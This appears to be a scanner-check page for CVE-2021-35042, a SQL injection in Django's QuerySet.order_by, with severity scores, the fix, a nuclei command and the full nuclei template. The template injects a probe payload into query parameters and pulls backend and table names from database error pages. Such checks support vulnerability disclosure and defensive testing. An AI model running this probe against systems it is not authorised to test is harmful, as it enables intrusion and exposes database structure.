Django QuerySet.order_by - SQL Injection

criticalseverity

9.8CVSS score

44.4%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Django 3.1.x before 3.1.13 and 3.2.x before 3.2.5 contain a SQL injection caused by untrusted input in QuerySet.order_by. Attackers can execute arbitrary SQL commands if they control order_by input parameters.

Impact

Attackers can execute arbitrary SQL commands, potentially leading to data leakage, modification, or deletion.

Fix

Update to Django 3.1.13 or 3.2.5 or later versions.

How to confirm it

Positive when: contains(body, "ORDER BY") && contains_any(body, "ProgrammingError", "DatabaseError") and contains_any(body, "psycopg2", "MySQLdb", "sqlite3", "cx_Oracle") and status_code == 500

Run it with nuclei: nuclei -id CVE-2021-35042 -u <target>

The full check

id: CVE-2021-35042

info:
  name: Django QuerySet.order_by - SQL Injection
  author: 0x_Akoko
  severity: critical
  description: |
    Django 3.1.x before 3.1.13 and 3.2.x before 3.2.5 contain a SQL injection caused by untrusted input in QuerySet.order_by. Attackers can execute arbitrary SQL commands if they control order_by input parameters.
  impact: |
    Attackers can execute arbitrary SQL commands, potentially leading to data leakage, modification, or deletion.
  remediation: |
    Update to Django 3.1.13 or 3.2.5 or later versions.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-35042
    - https://github.com/zer0qs/CVE-2021-35042
    - https://github.com/django/django/commit/a34a5f724c5d5adb2109374ba3989ebb7b11f81f
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-35042
    cwe-id: CWE-89
    epss-score: 0.44369
    epss-percentile: 0.98772
  metadata:
    verified: true
    fofa-query: body="ProgrammingError" && body="ORDER BY"
  tags: cve,cve2021,django,sqli,dast,vuln

variables:
  rand_string: '{{rand_text_alpha(10, "abc")}}'

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'

    fuzzing:
      - part: query
        fuzz:
          - "vuln.{{rand_string}}]--"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "ORDER BY") && contains_any(body, "ProgrammingError", "DatabaseError")'
          - 'contains_any(body, "psycopg2", "MySQLdb", "sqlite3", "cx_Oracle")'
          - 'status_code == 500'
        condition: and

    extractors:
      - type: regex
        name: database
        part: body
        group: 1
        regex:
          - "django\\.db\\.backends\\.(postgresql|mysql|sqlite3|oracle)"

      - type: regex
        name: tables
        part: body
        group: 1
        regex:
          - 'FROM\s+"([a-zA-Z_][a-zA-Z0-9_]*)"'
          - 'FROM\s+`([a-zA-Z_][a-zA-Z0-9_]*)`'
          - 'relation\s+([a-zA-Z_][a-zA-Z0-9_]*)'
          - "Table\\s+'[^']*\\.([a-zA-Z_][a-zA-Z0-9_]*)'"

References

Use this check only on systems you are authorised to test. Where the data comes from